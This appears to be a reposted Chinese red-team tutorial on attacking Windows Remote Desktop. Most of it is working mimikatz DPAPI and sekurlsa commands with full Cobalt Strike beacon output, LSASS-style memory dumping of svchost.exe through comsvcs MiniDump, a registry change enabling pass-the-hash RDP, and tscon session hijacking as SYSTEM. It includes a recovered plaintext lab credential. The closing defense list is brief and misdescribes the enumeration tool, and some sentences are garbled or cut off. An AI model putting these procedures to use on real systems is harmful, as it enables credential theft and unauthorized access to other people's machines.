天天看點

淺析RDP攻擊面以及防範政策

作者:區塊軟體開發

抓取RDP連接配接日志工具:https://github.com/Heart-Sky/ListRDPConnections

  • 對外 RDP 連接配接記錄

    對外 RDP 連接配接記錄儲存在 HKEY_USERS\[SID]\Software\Microsoft\Terminal Server Client\ 下,預設隻包含預設使用者設定和已登入使用者的資訊

    未登入使用者連接配接記錄需要通過加載對應使用者目錄下的 NTUSER.DAT 到系統資料庫中并讀取來實作

    需要有 SeBackupPrivilege 和 SeRestorePrivilege 這兩項權限才可以實作對系統資料庫的讀和寫操作

  • 對内 RDP 連接配接記錄

    對内 RDP 連接配接記錄儲存在 Wind。

    一個完整的 rdp登入->登出 過程包括 網絡連接配接->身份認證->登入->登出,在登出前還可能發生 會話斷開/重新連接配接

  • 選取

    EventID: 1149 網絡連接配接 事件作為全量的登入事件,

    EventID: 21 登入成功 和 EventID: 25 重新連接配接 作為登入成功的事件,通過剔除登入成功的事件即為登入失敗的事件

比如下圖,該機器沒有RDP去登陸過别人,但是被172.16.4.1登陸成功過,如果多台機器都被相同ip登陸成功過,那可能RDP過來的ip就是運維的ip。

淺析RDP攻擊面以及防範政策

CS上可以直接記憶體加載

execute-assembly /Users/Zh1z3ven/Downloads/ListRDPConnections.exe           
淺析RDP攻擊面以及防範政策

擷取RDP憑據

Dump RDP Credentials From Credentials Directory

場景的話,應該是拿到一台A主機權限,如果A主機通過RDP登陸過主機B并且勾選了儲存RDP會話憑據,那麼會在目前主機A使用者的特定目錄下生成一個遠端主機B的RDP憑據。隻要勾選了儲存RDP會話憑據,即使斷開了RDP依然會在特定目錄下留存憑據供我們抓取,而不是需要RDP連接配接一直存在。

預設儲存在:C:\Users\使用者名\AppData\Local\Microsoft\Credentials路徑下

但是我直接翻的話翻不到

淺析RDP攻擊面以及防範政策

但是通過指令是可以找到的,而且是cmd,不是powershell

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*           
淺析RDP攻擊面以及防範政策
淺析RDP攻擊面以及防範政策

在這裡我們需要記住兩個重點的資訊,在稍後我們是需要使用到的.

0x01 憑據儲存的目錄:

C:\Users\Administrator\AppData\Local\Microsoft\Credentials            

0x02 憑據的值:

5EEE4899502166CA91541FD79DA485CB            

使用mimikatz來進行操作讀取密碼

dpapi::cred 
/in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB           

CS上的話直接

beacon> mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB
[*] Tasked beacon to run mimikatz's dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB command
[+] host called home, sent: 750701 bytes
[+] received output:
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {96768172-a437-4ca8-a877-14e0aa498a3e}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 00000012 - 18
  szDescription      : 本地憑據資料


  algCrypt           : 00006610 - 26128 (CALG_AES_256)
  dwAlgCryptLen      : 00000100 - 256
  dwSaltLen          : 00000020 - 32
  pbSalt             : d1c330441bb02b18b73fa77b57904a4afa25bef9682607960e7e66761a3c0a55
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         : 
  algHash            : 0000800e - 32782 (CALG_SHA_512)
  dwAlgHashLen       : 00000200 - 512
  dwHmac2KeyLen      : 00000020 - 32
  pbHmack2Key        : f9307e607b20dee2a77b6299cbe51fbbc0bdf70f6ad0400ad21d2bca772bebaf
  dwDataLen          : 000000c0 - 192
  pbData             : 92e2b3f95f3ffcdac577318c582b7a6c07ca2fe7e3aff19f571d91bf50926cff01e33d6d815bbfa270f2315f06d67623b884d84d1f0d6d8c933c0fccd20139c883133602b4a92b3ef4ded1048ddcdc39a53d960ab065f2973a770bcb8b648eac535f036bdd0e22e02e9565eea9c5213b55020b93478a9e83dbf3bb19b60b848e2fa4b06976b55924c95bbda48e57487e64dfdf53d74d693f12208ff34e38b94ec411fd6105cc7bdab9dbe8e0b51edee2570b70c65fd2f305157ef06be44f7573
  dwSignLen          : 00000040 - 64
  pbSign             : 09ec126f126c0178368ae1a54977bb2d8402a5a7714d195bde5a323f0035a0b89b993735e37ad0fd3d8d302bdc77e331659bc5ebd285a276e295bc6ec48c515d           

在這裡我們需要記住guidmasterkey的值,

稍後我們需要找到對應的東西

{96768172-a437-4ca8-a877-14e0aa498a3e}

使用這條指令進行把資料儲存到c盤的根目錄中:

mimikatz.exe "privilege::debug" "sekurlsa::dpapi full" exit > c:\log.txt

然後我們在txt檔案中找到對應guid為{96768172-a437-4ca8-a877-14e0aa498a3e}的值.

beacon> mimikatz sekurlsa::dpapi full
[*] Tasked beacon to run mimikatz's sekurlsa::dpapi full command
[+] host called home, sent: 750705 bytes
[+] received output:


Authentication Id : 0 ; 7152762 (00000000:006d247a)
Session           : Interactive from 6
User Name         : DWM-6
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2022/4/26 18:12:38
SID               : S-1-5-90-6




Authentication Id : 0 ; 6443772 (00000000:006252fc)
Session           : NewCredentials from 0
User Name         : Administrator
Domain            : WEBLOGIC
Logon Server      : (null)
Logon Time        : 2022/4/24 15:14:41
SID               : S-1-5-21-2004965046-3923418856-647414055-500




Authentication Id : 0 ; 196482 (00000000:0002ff82)
Session           : Interactive from 1
User Name         : Administrator
Domain            : WEBLOGIC
Logon Server      : WEBLOGIC
Logon Time        : 2022/4/22 1:27:06
SID               : S-1-5-21-2004965046-3923418856-647414055-500




Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : WEBLOGIC$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 2022/4/22 1:26:42
SID               : S-1-5-20




Authentication Id : 0 ; 43470 (00000000:0000a9ce)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2022/4/22 1:26:42
SID               : 




Authentication Id : 0 ; 7246695 (00000000:006e9367)
Session           : Interactive from 6
User Name         : Administrator
Domain            : WEBLOGIC
Logon Server      : WEBLOGIC
Logon Time        : 2022/4/26 22:57:38
SID               : S-1-5-21-2004965046-3923418856-647414055-500
 [00000000]
 * GUID      :{96768172-a437-4ca8-a877-14e0aa498a3e}
 * Time      :2022/4/27 0:00:37
 * MasterKey :3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01
 * sha1(key) :b356179c1c3c35b9b8e4c0dcb345db87c692c6a1




Authentication Id : 0 ; 7152777 (00000000:006d2489)
Session           : Interactive from 6
User Name         : DWM-6
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2022/4/26 18:12:38
SID               : S-1-5-90-6




Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2022/4/22 1:26:43
SID               : S-1-5-19




Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : WEBLOGIC$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 2022/4/22 1:26:42
SID               : S-1-5-18
 [00000000]
 * GUID      :{628e2357-b149-42af-8714-2a2e22e08f27}
 * Time      :2022/4/24 16:00:14
 * MasterKey :967426472be5e7a52c38ee9d9a39c3ae1fefbba19f1b8575cb900d170c5c94b0dcfed7d2a2b309fa12c263f8e072151d4e800310d1dbcd504aec44b9c8ecf638
 * sha1(key) :00472b23a48a568dff80abe4194c8196ba56bbb3
 [00000001]
 * GUID      :{3f911ddd-ae45-479e-bb98-5b6c10c26c50}
 * Time      :2022/4/26 22:50:53
 * MasterKey :ea626424a276d204d717b8b1a455b83d2aff4ac1290796a96a6583ea9677b8b5a292eb3fa79caeb3b58686f54033ae46497a7352b4a9def555e311c6f70481ad
 * sha1(key) :48feec9411a1017f5edb03a59922f2ea960bbfe9
 [00000002]
 * GUID      :{acc494d8-92ca-45e0-9e87-27017cf59c68}
 * Time      :2022/4/26 23:02:50
 * MasterKey :d9500e81ab0f393b3aabfa510123bbeddad768f82d4203356ee71e64cd967d478c94b93bf73b5f0df029791c63b5738e60348561c8bc354791d27fdfb4ff6f26
 * sha1(key) :be9117bfc64e4d0f62c06adfbd3f7f7f82643237
 [00000003]
 * GUID      :{afe30aef-f67e-4cea-9b91-71318f566140}
 * Time      :2022/4/22 1:26:42
 * MasterKey :c8cce9b5629b7ba44a7585bafbc3230ff35f3218ddc987c406e26799da37b857e34f26fb0c03ba68989a3c5cfc076b17cb4982be08134fd05a8cc36713ecc227
 * sha1(key) :39507d003e38633020e85d318e509f55939d208f           

也就是

MasterKey 
 : 3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0f
 ec3d356bc9d8a78bbfd158e2b0           

使用下面的指令進行讀取密碼的資訊

這裡使用剛才的目錄,加上剛才的值MasterKey就可以進行讀取了密碼

mimikatz dpapi::cred 
/in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB 
/masterkey:3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac37
2fd92d3c0fec3d356bc9d8a78bbfd158e2b01           
beacon> mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB /masterkey:3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01
[*] Tasked beacon to run mimikatz's dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB /masterkey:3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01 command
[+] host called home, sent: 750701 bytes
[+] received output:
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {96768172-a437-4ca8-a877-14e0aa498a3e}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 00000012 - 18
  szDescription      : 本地憑據資料


  algCrypt           : 00006610 - 26128 (CALG_AES_256)
  dwAlgCryptLen      : 00000100 - 256
  dwSaltLen          : 00000020 - 32
  pbSalt             : d1c330441bb02b18b73fa77b57904a4afa25bef9682607960e7e66761a3c0a55
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         : 
  algHash            : 0000800e - 32782 (CALG_SHA_512)
  dwAlgHashLen       : 00000200 - 512
  dwHmac2KeyLen      : 00000020 - 32
  pbHmack2Key        : f9307e607b20dee2a77b6299cbe51fbbc0bdf70f6ad0400ad21d2bca772bebaf
  dwDataLen          : 000000c0 - 192
  pbData             : 92e2b3f95f3ffcdac577318c582b7a6c07ca2fe7e3aff19f571d91bf50926cff01e33d6d815bbfa270f2315f06d67623b884d84d1f0d6d8c933c0fccd20139c883133602b4a92b3ef4ded1048ddcdc39a53d960ab065f2973a770bcb8b648eac535f036bdd0e22e02e9565eea9c5213b55020b93478a9e83dbf3bb19b60b848e2fa4b06976b55924c95bbda48e57487e64dfdf53d74d693f12208ff34e38b94ec411fd6105cc7bdab9dbe8e0b51edee2570b70c65fd2f305157ef06be44f7573
  dwSignLen          : 00000040 - 64
  pbSign             : 09ec126f126c0178368ae1a54977bb2d8402a5a7714d195bde5a323f0035a0b89b993735e37ad0fd3d8d302bdc77e331659bc5ebd285a276e295bc6ec48c515d


Decrypting Credential:
 * masterkey     : 3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01
**CREDENTIAL**
  credFlags      : 00000030 - 48
  credSize       : 000000b8 - 184
  credUnk0       : 00000000 - 0


  Type           : 00000002 - 2 - domain_password
  Flags          : 00000000 - 0
  LastWritten    : 2022/4/26 16:00:20
  unkFlagsOrSize : 00000018 - 24
  Persist        : 00000002 - 2 - local_machine
  AttributeCount : 00000000 - 0
  unk0           : 00000000 - 0
  unk1           : 00000000 - 0
  TargetName     : Domain:target=TERMSRV/10.10.20.7
  UnkData        : (null)
  Comment        : (null)
  TargetAlias    : (null)
  UserName       : redteam\saul
  CredentialBlob : admin!@#45
  Attributes     : 0           

Dump RDP Credentials From svchost.exe

在去年5月份的一篇老外推文中發現可以通過本地的svchost.exe中抓取到RDP明文密碼。

前提是這個RDP是目前正在連接配接的。

淺析RDP攻擊面以及防範政策

拿Windows Server 2012做測試

整體流程就是在程序記憶體中對 svchost.exe 進行簡單的字元串搜尋,就會發現用于通過 RDP 連接配接到系統的明文密碼。

找到正确的程序

有2種方式:

0x01 Process Hacker

Process Hacker

使用 Process Hacker 2. 轉到 Network 頁籤并找到具有 RDP 連接配接的程序。

這僅在 RDP 連接配接仍處于活動狀态時才有效。

0x02 Command Line

通過如下指令可以找到

netstat -nob | Select-String TermService -Context 1           

或者是直接找 rdpcorets.dll

tasklist /M:rdpcorets.dll           
淺析RDP攻擊面以及防範政策

建立轉儲檔案

0x01 Process Hacker

Process Hacker的話直接右鍵svchost.exe程序就可以建立dump檔案

淺析RDP攻擊面以及防範政策
淺析RDP攻擊面以及防範政策

0x02 任務管理器詳細資訊 ==> 選擇對應pid程序 ==> 建立轉儲檔案

淺析RDP攻擊面以及防範政策

0x03ProcessDump

procdump.exe -ma [PROCESS ID] -accepteula [FILE PATH]           

0x04comsvc.dll

.\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump [PROCESS ID] [FILE PATH] full           

C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll,

MiniDump 1680 C:\Users\Administrator\Desktop\1.dmp full

查找明文密碼

可以通過strings指令,但是strings在Windows Server 2012上并不存在。

Mimikatz也支援了這一功能

可以通過下面指令抓取

ts::logonpasswords           
淺析RDP攻擊面以及防範政策

但是Windows Server 2012就有問題,會抓到bytes流之後崩潰

Pass The Hash With Remote Desktop Protocol

Restricted Admin mode

這裡是涉及到的一個概念,直譯為受限管理模式,主要功能是使得憑據不會暴露在目标系統中。

Windows 8.1和Windows Server 2012 R2預設支援該功能

Windows 7和Windows Server 2008 R2預設不支援,需要安裝更新檔2871997、2973351

也就是當win7 windows Server 2008 R2 安裝了更新檔後同樣可以Hash登陸RDP

利用時注意 Server開啟Restricted Admin mode時,Client也需要支援Restricted Admin mode

修改系統資料庫開啟Restricted Admin mode的方法:

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /           

檢視是否開啟

DisableRestrictedAdmin REG_DWORD 0x0 存在就是開啟
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"           

成功在win7上開啟Restricted Admin mode

淺析RDP攻擊面以及防範政策

Hash登陸RDP實作

這裡需要使用mimikatz去pth

這裡首先拿域使用者去pth,失敗。經朋友提示說可能虛拟機會有問題。

測試了幾個實驗:

虛拟機環境下

win2012 RDP登陸 win7會出現下圖錯誤

淺析RDP攻擊面以及防範政策

win7 RDP登陸 win2012出現下圖錯誤(偷的圖,但是報錯一樣,忘記截圖了)

淺析RDP攻擊面以及防範政策
privilege::debug
sekurlsa::pth /user:administrator /domain:remoteserver /ntlm:d25ecd13fddbb542d2e16da4f9e0333d "/run:mstsc.exe /restrictedadmin"           

win10登陸win2012沒問題

小結一下,踩了幾個坑但是應該是虛拟機的問題,實戰情況下問題應該都不大。

這種場景的話主要是

1、有目标機管理者組賬号的使用者名+hash,還有機器名。

2、修改對方系統資料庫開啟Restricted Admin mode(受限管理模式)

3、管理者權限用mimikatz => Pass The Hash With Remote Desktop Protoco

RDP會話劫持

系統管理者和使用者通常可以通過 RDP 遠端桌面登入指定伺服器 3389 遠端桌面,而攻擊者可以通過可以特權提升至 SYSTEM 權限的使用者,可以在不知道其他使用者登入憑據的情況下,用來劫持其他使用者的 RDP 會話,該漏洞在 2017 年由以色列安全研究員 Alexander Korznikov 在個人部落格中披露。利用條件隻需要擷取機器 SYSTEM 權限執行 tscon 指令

以Windows Server 2012測試

在任務管理器中會出現多個會話

淺析RDP攻擊面以及防範政策

可以通過右鍵 ==> 連接配接 ==> 輸入對應賬号的密碼來連接配接到該會話

輸入密碼後成功登陸

淺析RDP攻擊面以及防範政策

在Windows Command Line下有一個tscon指令,可以實作上述功能

首先查詢會話ID

query user           

然後執行tscon指令即可切換會話

tscon 8 /PASSWORD:rdp1使用者的密碼           

當然這是正常情況下。當我們獲得了SYSTEM的shell時可以繞過認證,直接切換,無需輸入密碼。

首先需要一個SYSTEM權限的cmd,可以通過PsExec.exe實作

PsExec64.exe -s -i cmd

淺析RDP攻擊面以及防範政策

之後輸入

quser   //查找rdp ID
tscon 8 /dest:console           

成功後直接跳轉到該RDP

淺析RDP攻擊面以及防範政策

ListRDPConnections 是一款用于查找 Windows RDP 伺服器的工具,它可以枚舉出網絡中的 RDP 伺服器,進而給攻擊者提供攻擊目标。以下是一些防範措施:

  1. 檢查和限制 RDP 通路,隻允許必要的使用者和主機進行通路,并禁用不必要的帳戶和服務。
  2. 加強主機安全,及時更新作業系統和應用程式更新檔,啟用防病毒軟體和安全配置等。
  3. 加強網絡安全,包括啟用防火牆、IDS/IPS 等,限制網絡通路權限,并加密敏感資料傳輸。
  4. 避免将敏感資訊存儲在 RDP 伺服器上,尤其是未加密的敏感資料,避免洩露。
  5. 監控 RDP 通路行為和系統日志,及時發現和響應異常行為和攻擊。
  6. 避免使用預設的使用者名和密碼,使用強密碼和雙因素身份驗證等安全措施來加強通路控制。
  7. 在部署 RDP 伺服器之前,需要進行安全審計和風險評估,確定安全配置和通路控制政策的有效性。

需要注意的是,以上建議隻是一些基本的防範措施,對于特定的應用場景和攻擊方式,可能需要針對性的防範措施。是以,在使用 ListRDPConnections 工具之前,需要進行綜合的安全風險評估和防範措施,以確定網絡和系統的安全。

from https://mp.weixin.qq.com/s/Zes-Ha7fAeR8imWwM7cHMQ